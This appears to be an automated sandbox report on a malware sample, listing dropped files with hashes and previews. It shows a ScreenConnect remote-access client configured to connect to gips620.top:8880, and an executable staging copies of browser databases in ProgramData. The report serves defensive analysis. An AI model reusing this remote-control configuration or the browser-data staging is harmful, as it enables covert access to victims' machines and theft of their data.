SSDEEP:	3072:qJvChyA4m2zNGvxDd6Q6dtaVNVrlaHpFahvJ9ERnWtMG8Ff2lt9Bgcld5aaYxg:0IvxDdL6d8VNdlC3g0RCXh5D
MD5:	5ADCB5AE1A1690BE69FD22BDF3C2DB60
SHA1:	09A802B06A4387B0F13BF2CDA84F53CA5BDC3785
SHA-256:	A5B8F0070201E4F26260AF6A25941EA38BD7042AEFD48CD68B9ACF951FA99EE5
SHA-512:	812BE742F26D0C42FDDE20AB4A02F1B47389F8D1ACAA6A5BB3409BA27C64BE444AC06D4129981B48FA02D4C06B526CB5006219541B0786F8F37CF2A183A18A73
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........A........................T....................V.......V.......V......................=U......=U......=U$.....=U......Rich....................PE..d.....Qf.........." ...'.^...^.......................................................(....`..........................................e.......f..P................ ......HP..........P%..p............................$..@............p...............................text...t].......^.................. ..`.rdata.......p.......b..............@..@.data....+...........d..............@....pdata... ......."...x..............@..@_RDATA..............................@..@.rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................

C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\ScreenConnect.WindowsBackstageShell.exe

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	61208
Entropy (8bit):	6.310126082367387
Encrypted:	false
SSDEEP:	1536:kW/+lo6MOc8IoiKWjrNv8DtyQ4RE+TC6WAhVbb57bP8:kLlo6dccldyQGWy5s
MD5:	AFA97CAF20F3608799E670E9D6253247
SHA1:	7E410FDE0CA1350AA68EF478E48274888688F8EE
SHA-256:	E25F32BA3FA32FD0DDD99EB65B26835E30829B5E4B58573690AA717E093A5D8F
SHA-512:	FE0B378651783EF4ADD3851E12291C82EDCCDE1DBD1FA0B76D7A2C2DCD181E013B9361BBDAE4DAE946C0D45FB4BF6F75DC027F217326893C906E47041E3039B0
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....c+..........."...0.................. ........@.. ....................... .......r....@.....................................O....... ................)..............8............................................ ............... ..H............text........ ...................... ..`.rsrc... ...........................@..@.reloc..............................@..B........................H........S......................x.........................................(....^.(.......a...%...}....:.(......}....:.(......}....:.(......}........0..........(....(....(....(....r...p(....o....(....r...p..~....(....(....r9..p..~....(....(.....g~).....(....rY..p.(....&(.....(....s....( ...s....(!......0...........(".....(#.....($....s....%.o%...%.o&...%.o'...%s!...o(...%~....o)...}......(....o*...o+....(,.....@...%..(.....o-....s....}.....{...........s/...o0....s....}..

C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\ScreenConnect.WindowsBackstageShell.exe.config

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	266
Entropy (8bit):	4.842791478883622
Encrypted:	false
SSDEEP:	6:TMVBd1IffVKNC7VrfC7VNQpuAKr5KNZk2ygAyONO5W4QIT:TMHdG3VO+Qg9LNZoE0Oo4xT
MD5:	728175E20FFBCEB46760BB5E1112F38B
SHA1:	2421ADD1F3C9C5ED9C80B339881D08AB10B340E3
SHA-256:	87C640D3184C17D3B446A72D5F13D643A774B4ECC7AFBEDFD4E8DA7795EA8077
SHA-512:	FB9B57F4E6C04537E8FDB7CC367743C51BF2A0AD4C3C70DDDAB4EA0CF9FF42D5AEB9D591125E7331374F8201CEBF8D0293AD934C667C1394DC63CE96933124E7
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>..<configuration>.. <startup>.. <supportedRuntime version="v4.0" />.. <supportedRuntime version="v2.0.50727" />.. </startup>.. <runtime>.. <generatePublisherEvidence enabled="false" />.. </runtime>..</configuration>

C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\ScreenConnect.WindowsClient.exe

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	602392
Entropy (8bit):	6.176232491934078
Encrypted:	false
SSDEEP:	6144:fybAk1FVMVTZL/4TvqpU0pSdRW3akod1sI5mgve8mZXuRFtSc4q2/R4IEyxuV5AN:qbAOwJ/MvIFptJoR5NmtiFsxsFE
MD5:	1778204A8C3BC2B8E5E4194EDBAF7135
SHA1:	0203B65E92D2D1200DD695FE4C334955BEFBDDD3
SHA-256:	600CF10E27311E60D32722654EF184C031A77B5AE1F8ABAE8891732710AFEE31
SHA-512:	A902080FF8EE0D9AEFFA0B86E7980457A4E3705789529C82679766580DF0DC17535D858FBE50731E00549932F6D49011868DEE4181C6716C36379AD194B0ED69
Malicious:	false
Yara Hits:	Rule: JoeSecurity_ScreenConnectTool, Description: Yara detected ScreenConnect Tool, Source: C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\ScreenConnect.WindowsClient.exe, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L................."...0.................. ... ....@.. .......................`............@.................................M...O.... ...................)...@..........8............................................ ............... ..H............text...p.... ...................... ..`.rsrc........ ......................@..@.reloc.......@......................@..B........................H.......XJ......................$.........................................{D.....{E...V.(F.....}D.....}E......0..A........u1.......4.,/(G....{D....{D...oH...,.(I....{E....{E...oJ...... }.o )UU.Z(G....{D...oK...X )UU.Z(I....{E...oL...X...0..b........r...p......%..{D......%q4....4...-.&.+...4...oM....%..{E......%q5....5...-.&.+...5...oM....(N.....{O.....{P...V.(F.....}O.....}P....0..A........u6.......4.,/(G....{O....{O...oH...,.(I....{P....{P...oJ...... 1.c. )UU.

C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\ScreenConnect.WindowsClient.exe.config

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	266
Entropy (8bit):	4.842791478883622
Encrypted:	false
SSDEEP:	6:TMVBd1IffVKNC7VrfC7VNQpuAKr5KNZk2ygAyONO5W4QIT:TMHdG3VO+Qg9LNZoE0Oo4xT
MD5:	728175E20FFBCEB46760BB5E1112F38B
SHA1:	2421ADD1F3C9C5ED9C80B339881D08AB10B340E3
SHA-256:	87C640D3184C17D3B446A72D5F13D643A774B4ECC7AFBEDFD4E8DA7795EA8077
SHA-512:	FB9B57F4E6C04537E8FDB7CC367743C51BF2A0AD4C3C70DDDAB4EA0CF9FF42D5AEB9D591125E7331374F8201CEBF8D0293AD934C667C1394DC63CE96933124E7
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>..<configuration>.. <startup>.. <supportedRuntime version="v4.0" />.. <supportedRuntime version="v2.0.50727" />.. </startup>.. <runtime>.. <generatePublisherEvidence enabled="false" />.. </runtime>..</configuration>

C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\ScreenConnect.WindowsCredentialProvider.dll

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	842248
Entropy (8bit):	6.268561504485627
Encrypted:	false
SSDEEP:	12288:q9vy8YABMuiAoPyEIrJs7jBjaau+EAaMVtw:P8Y4MuiAoPyZrJ8jrvDVtw
MD5:	BE74AB7A848A2450A06DE33D3026F59E
SHA1:	21568DCB44DF019F9FAF049D6676A829323C601E
SHA-256:	7A80E8F654B9DDB15DDA59AC404D83DBAF4F6EAFAFA7ECBEFC55506279DE553D
SHA-512:	2643D649A642220CEEE121038FE24EA0B86305ED8232A7E5440DFFC78270E2BDA578A619A76C5BB5A5A6FE3D9093E29817C5DF6C5DD7A8FBC2832F87AA21F0CC
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........}....}H..}H..}H.d~I..}H.dxIG.}H.dyI..}H..xI..}H..yI..}H..~I..}H..\|H8.}H..}H..}H2.}I..}H2..I..}HRich..}H........PE..d.....Gf.........." ...'.P...........H....................................... ......q.....`......................................... ...t....................P...y.......(......,4.....T.......................(.......@............`...............................text....O.......P.................. ..`.rdata...z...`...\|...T..............@..@.data....d.......0..................@....pdata...y...P...z..................@..@_RDATA...............z..............@..@.reloc..,4.......6...\|..............@..B................................................................................................................................................................................................................................................................

C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\ScreenConnect.WindowsFileManager.exe

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	81688
Entropy (8bit):	5.8618809599146005
Encrypted:	false
SSDEEP:	1536:Ety9l44Kzb1I5kLP+VVVVVVVVVVVVVVVVVVVVVVVVVC7j27Vy:PvqukLdn2s
MD5:	1AEE526DC110E24D1399AFFCCD452AB3
SHA1:	04DB0E8772933BC57364615D0D104DC2550BD064
SHA-256:	EBD04A4540D6E76776BD58DEEA627345D0F8FBA2C04CC65BE5E979A8A67A62A1
SHA-512:	482A8EE35D53BE907BE39DBD6C46D1F45656046BACA95630D1F07AC90A66F0E61D41F940FB166677AC4D5A48CF66C28E76D89912AED3D673A80737732E863851
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....o..........."...0..@...........^... ...`....@.. .......................`.......$....@..................................^..O....`...................)...@.......]..8............................................ ............... ..H............text....>... ...@.................. ..`.rsrc........`.......B..............@..@.reloc.......@......................@..B.................^......H....... +..@2..................`]........................................(....^.(.......;...%...}....:.(......}....:.(......}....:.(......}........0..........s>....(....(....(....(....(.....(....(......s....}B....s....}C....~@...%-.&~?.....<...s ...%.@...o...+.....@...s ...o...+......A...s!...o...+}D.......B...s"...o...+.......(#...&......(#...& .... ...........($...&s....t......r...prs..p(%...(&...~>...%-.&...'...s(...%.>.....A...().......(........(+...o,...(-...t....

C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\ScreenConnect.WindowsFileManager.exe.config

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	266
Entropy (8bit):	4.842791478883622
Encrypted:	false
SSDEEP:	6:TMVBd1IffVKNC7VrfC7VNQpuAKr5KNZk2ygAyONO5W4QIT:TMHdG3VO+Qg9LNZoE0Oo4xT
MD5:	728175E20FFBCEB46760BB5E1112F38B
SHA1:	2421ADD1F3C9C5ED9C80B339881D08AB10B340E3
SHA-256:	87C640D3184C17D3B446A72D5F13D643A774B4ECC7AFBEDFD4E8DA7795EA8077
SHA-512:	FB9B57F4E6C04537E8FDB7CC367743C51BF2A0AD4C3C70DDDAB4EA0CF9FF42D5AEB9D591125E7331374F8201CEBF8D0293AD934C667C1394DC63CE96933124E7
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>..<configuration>.. <startup>.. <supportedRuntime version="v4.0" />.. <supportedRuntime version="v2.0.50727" />.. </startup>.. <runtime>.. <generatePublisherEvidence enabled="false" />.. </runtime>..</configuration>

C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\app.config

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	3343
Entropy (8bit):	4.771733209240506
Encrypted:	false
SSDEEP:	96:o3H52H82HzHAHyHVHeHMHZHUH1HyHkHlHgHyHNHtH29PtxA2oFHX:opPN
MD5:	9322751577F16A9DB8C25F7D7EDD7D9F
SHA1:	DC74AD5A42634655BCBA909DB1E2765F7CDDFB3D
SHA-256:	F1A3457E307D721EF5B63FDB0D5E13790968276862EF043FB62CCE43204606DF
SHA-512:	BB0C662285D7B95B7FAA05E9CC8675B81B33E6F77B0C50F97C9BC69D30FB71E72A7EAF0AFC71AF0C646E35B9EADD1E504A35D5D25847A29FD6D557F7ABD903AB
Malicious:	false
Preview:	<?xml version="1.0"?>..<configuration>.. <configSections>.. <section name="ScreenConnect.ApplicationSettings" type="System.Configuration.ClientSettingsSection" />.. </configSections>.. <ScreenConnect.ApplicationSettings>.. <setting name="ShowFeedbackSurveyForm" serializeAs="String">.. <value>false</value>.. </setting>.. <setting name="SupportShowUnderControlBanner" serializeAs="String">.. <value>false</value>.. </setting>.. <setting name="AccessShowUnderControlBanner" serializeAs="String">.. <value>false</value>.. </setting>.. <setting name="SupportHideWallpaperOnConnect" serializeAs="String">.. <value>false</value>.. </setting>.. <setting name="AccessHideWallpaperOnConnect" serializeAs="String">.. <value>false</value>.. </setting>.. <setting name="HideWallpaperOnConnect" serializeAs="String">.. <value>false</value>.. </setting>.. <setting name="SupportShowBalloonOnConnect" serializeAs="String">.. <value>fa

C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\system.config

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (441), with CRLF line terminators
Category:	dropped
Size (bytes):	931
Entropy (8bit):	5.791265617148505
Encrypted:	false
SSDEEP:	12:TMHdGGqq9yAas26K9YG6DLI4MWiNuGEAaOkVl/ENOAu/ENv33ZhT5dh0tPAEjUHI:2dL9hK6E4dl/euMN/px5EWdsvH
MD5:	E190AD2C95CEF560DD7FBA3E0399346D
SHA1:	71CBBCF0F57780B863694F6E2EBBFEEAC95AA526
SHA-256:	B1CDB6FEE5E2C07EC8ECD53A1B5A771AD6CCE96A0FC9B02182800EC1C2FD3022
SHA-512:	A524972DF1A2B825D8C9CDA34C85FB7FA0E34FA51C3D8F0BF8E82D601DD7CB4C9C5B2EFA1E77370AEA93A28C87C3BD2DF135261947CE3248D0E878F6FCF5174B
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>..<configuration>.. <configSections>.. <section name="ScreenConnect.ApplicationSettings" type="System.Configuration.ClientSettingsSection, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" />.. </configSections>.. <ScreenConnect.ApplicationSettings>.. <setting name="ClientLaunchParametersConstraint" serializeAs="String">.. <value>?h=gips620.top&p=8880&k=BgIAAACkAABSU0ExAAgAAAEAAQDpOwIVy34yVx7xLDnH6rBeYx7mmiLN2yQyIYdJTxYIVHOsytxx89D0YKoH68EoEXToTuDpMmwJb%2bhrlJ3faNFTpvu7W8w3%2fxYUdeWuXWg%2bTQxXr6EWby912nykdroWfBxDx6Lmxg1gxGgRJHC8Oc96zV%2fiaqo5GlyagtszKkrbPOWW4FBVQPXhlUfH4mlFE0i0vcMxGginTYl8IjGBzr94ANeAXwajoe9Cjam2haoL%2f%2bgHMtFYBZJisALFnyX3zECpRv7vqWzNAQJYIqY6qDuC2lEbs0NtuBMSfQRW1t0ZOk7cEzuQjq72QbWf1bR8rZf%2b0t3VNSgkIUcBljvpSRK7</value>.. </setting>.. </ScreenConnect.ApplicationSettings>..</configuration>

C:\ProgramData\4W4EKFCJW4EU\AIWBA1DBS

Download File

Process:	C:\aqhnzja\20eec459fe6c4c019b42190414a26a1f.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\4W4EKFCJW4EU\CB1DTR

Download File

Process:	C:\aqhnzja\20eec459fe6c4c019b42190414a26a1f.exe
File Type:	ASCII text, with very long lines (1717), with CRLF line terminators
Category:	dropped
Size (bytes):	10237
Entropy (8bit):	5.498288591230544
Encrypted:	false
SSDEEP:	192:/nTFTRRFYbBp6SLZNMGaXU6qU4rzy+/3/OYiNBw8D7Sl:LreDFNMroyrdw60
MD5:	0F58C61DE9618A1B53735181E43EE166
SHA1:	CC45931CF12AF92935A84C2A015786CC810AEC3A
SHA-256:	AE9C3109DD23F391DC58C564080932100F55C8E674176D7911D54FB0D3417AE0
SHA-512:	DEA527C22D4AA607B00FBBCC1CDD9C6B69E92EC3B1B14649A086E87258AAD5C280BFB2835C165176E8759F575AA39D1B58E25CB40F60C7E88D94243A874B71BE
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "a24b7aae-efcd-4433-83ad-3649b8231e2d");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696486832);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696486836);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\4W4EKFCJW4EU\H47GV3

Download File

Process:	C:\aqhnzja\20eec459fe6c4c019b42190414a26a1f.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 10, database pages 91, cookie 0x37, schema 4, UTF-8, version-valid-for 10
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.2673723211955163
Encrypted:	false
SSDEEP:	384:L/2qOB1nxCkMPSA1LyKOMq+8iP5GDHP/0jMVum7:Kq+n0JP91LyKOMq+8iP5GLP/0+
MD5:	FC4D0CCDA9BD965160492D00D9612C92
SHA1:	924DFE0D788CD2A8FC02582C605188AB4B0177B4
SHA-256:	5C2264F2EE76C1F825A308989F1CD56C62FAA97EA7604D3DB8BC7D0DF9B81FA7
SHA-512:	D96BFA262350F2297FBDCC0C34C9213A5222F2E0D482F93F1DE9B2857076D7C840026EEBC2B56BFBFE18EAADF3F78FCE2C9A160915913F7661ED3B93340E3B9F
Malicious:	false
Preview:	SQLite format 3......@ .......[...........7......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\4W4EKFCJW4EU\K6XB16XBA

Download File

Process:	C:\aqhnzja\20eec459fe6c4c019b42190414a26a1f.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 2, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8745947603342119
Encrypted:	false
SSDEEP:	96:aZ8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:W8yLG7IwRWf4
MD5:	378391FDB591852E472D99DC4BF837DA
SHA1:	10CB2CDAD4EDCCACE0A7748005F52C5251F6F0E0
SHA-256:	513C63B0E44FFDE2B4E511A69436799A8B59585CB0EB5CCFDA7A9A8F06BA4808
SHA-512:	F099631BEC265A6E8E4F8808270B57FFF28D7CBF75CC6FA046BB516E8863F36E8506C7A38AD682132FCB1134D26326A58F5B588B9EC9604F09FD7155B2AEF2DA
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\4W4EKFCJW4EU\R9HLNO

Download File

Process:	C:\aqhnzja\20eec459fe6c4c019b42190414a26a1f.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.5394293526345721
Encrypted:	false
SSDEEP:	96:AquejzH+bF+UIYysX0IxQzh/tsV0NifLjLqLy0e9S8E:AqtH+bF+UI3iN0RSV0k3qLyj9
MD5:	52701A76A821CDDBC23FB25C3FCA4968
SHA1:	440D4B5A38AF50711C5E6C6BE22D80BC17BF32DE
SHA-256:	D602B4D0B3EB9B51535F6EBA33709DCB881237FA95C5072CB39CECF0E06A0AC4
SHA-512:	2653C8DB9C20207FA7006BC9C63142B7C356FB9DC97F9184D60C75D987DC0848A8159C239E83E2FC9D45C522FEAE8D273CDCD31183DED91B8B587596183FC000
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\4W4EKFCJW4EU\RIMOH4

Download File

Process:	C:\aqhnzja\20eec459fe6c4c019b42190414a26a1f.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136471148832945
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c1/k4:MnlyfnGtxnfVuSVumEH1s4
MD5:	37B1FC046E4B29468721F797A2BB968D
SHA1:	50055EF1C50E4C1A7CCF7D00620E95128E4C448B
SHA-256:	7BBD5DFC9026E0D477B027B9A2A3F022F2E72FC9B4E05E697461A00677AE8EFD
SHA-512:	1D8A0F0AE76E5A1CF131F6D2C5156EA4204449942210EF029D5B018464355DBF94E2D8ABD6A5A9CDFE4271DCD22703BF26ECE8FEE902E122184680F1BB001149
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\4W4EKFCJW4EU\SJW4W4

Download File

Process:	C:\aqhnzja\20eec459fe6c4c019b42190414a26a1f.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 32768, file counter 2, database pages 9, cookie 0x6, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	294912
Entropy (8bit):	0.08436837154972243
Encrypted:	false
SSDEEP:	192:5va0zkVmvQhyn+Zoz679fqlQbGhMHPaVAL23v2:51zkVmvQhyn+Zoz67f
MD5:	BDDB3A7A4643B027E8E743D32B86297D
SHA1:	AACAA39E60FB34908241F75550B1CEDDA50E37D1
SHA-256:	13BC4A6A15651C116209341E97255C67980005927DFD9E91236E2E1517AF97EF
SHA-512:	9A6244248CA636DB12AEC2E56DEAEAA2D62ED8378EA5A1D9947938DA15CA66BC4EDF11BF7CCC92E43734449EBECD03CF538BB61FCF90798DEBFD65098BC2A444
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......z<.{...{.{a{.z.z<z.............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\4W4EKFCJW4EU\XLXT00

Download File

Process:	C:\aqhnzja\20eec459fe6c4c019b42190414a26a1f.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\4W4EKFCJW4EU\Y58GDT

Download File

Process:	C:\aqhnzja\20eec459fe6c4c019b42190414a26a1f.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 38, cookie 0x1f, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	155648
Entropy (8bit):	0.5407252242845243
Encrypted:	false
SSDEEP:	96:OgWyejzH+bDoYysX0IxQzZkHtpVJNlYDLjGQLBE3CeE0kE:OJhH+bDo3iN0Z2TVJkXBBE3yb
MD5:	7B955D976803304F2C0505431A0CF1CF
SHA1:	E29070081B18DA0EF9D98D4389091962E3D37216
SHA-256:	987FB9BFC2A84C4C605DCB339D4935B52A969B24E70D6DEAC8946BA9A2B432DC
SHA-512:	CE2F1709F39683BE4131125BED409103F5EDF1DED545649B186845817C0D69E3D0B832B236F7C4FC09AB7F7BB88E7C9F1E4F7047D1AF56D429752D4D8CBED47A
Malicious:	false
Preview:	SQLite format 3......@ .......&..................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\edb.log

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.726322622595699
Encrypted:	false
SSDEEP:	1536:9J8s6YR3pnhWKInznxTgScwXhCeEcrKYSZNmTHk4UQJ32aqGT46yAwFM5hA7yH0F:9JZj5MiKNnNhoxuc
MD5:	ABB69BF8B969125BDD75ADB6EB13BE99
SHA1:	12893B6F8D8310B4EA7A7F6649AEB29FEAAD7D80
SHA-256:	AD8408BD88C25C83C0839FD7C39BFCAF046EB821A9B274ECC105BAD5AC7E5AF2
SHA-512:	CCB8EEEB50016886A282CD5E63C51F4FFB83030FA1878367DBBC0E97F0F571A7841A4B71C9515EFFA369F5C595B1E6EAB4C27E593D63E29F84EA43BA483EF327
Malicious:	false
Preview:	...........@..@9....{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@....................................Fajaj.#.........`h.................h.......6.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage user DataBase, version 0x620, checksum 0x9dd89e03, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7556145449299523
Encrypted:	false
SSDEEP:	1536:FSB2ESB2SSjlK/svFH03N9Jdt8lYkr3g16xj2UPkLk+kLWyrufTRryrUYc//kbxW:FazaSvGJzYj2UlmOlOL
MD5:	CBA4399F9A5F6722D9874275F0743263
SHA1:	93BBFF5E768F00C832026C43D7606C6B15ED71D6
SHA-256:	F8C8FBB45653A08F0DF8CD59C0EE0F4A3A203B74E9B0DEC4830FCF7AC480F698
SHA-512:	16C485A8F0B0911AD7D70496D7B571AB4F828830A3253B9FF982F9142CBCDCEBBEB22DA78F352732EF5B94E9FE60766272884F9C7C1B174767DF88B4BCF3B359
Malicious:	false
Preview:	...... .......7.......X\...;...{......................0.e......!...{?......\|..h.g.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... .......9....{...............................................................................................................................................................................................2...{...................................Z.g.....\|..................VM.......\|...........................#......h.g.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07941657383035002
Encrypted:	false
SSDEEP:	3:bll8YeHy2nefNaAPaU1lDs2AtalluxmO+l/SNxOf:bUzHeNDPaUA5IgmOH
MD5:	5523A52649EF2AC573782D8597240354
SHA1:	1BEB0275D05B1FD6897DF2C74047B09673EB4F49
SHA-256:	67F712E7308137F4718FC3A9F236C6549F4BCF475BC4B5FEDEE1735B906B1E18
SHA-512:	828A095FA4CC8D6B5745D2FA0D541F25041601426FA8E535D111402787A4A2477F0B7B65D359E3419149F322239113F327F56DEDC7ADA1D924D4299ACF73155A
Malicious:	false
Preview:	-........................................;...{.......\|...!...{?..........!...{?..!...{?..g...!...{?.................VM.......\|..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\1156a90bbe2d483ebd285d59075df6eb.exe.log

Download File

Process:	C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	4017
Entropy (8bit):	5.365271649872934
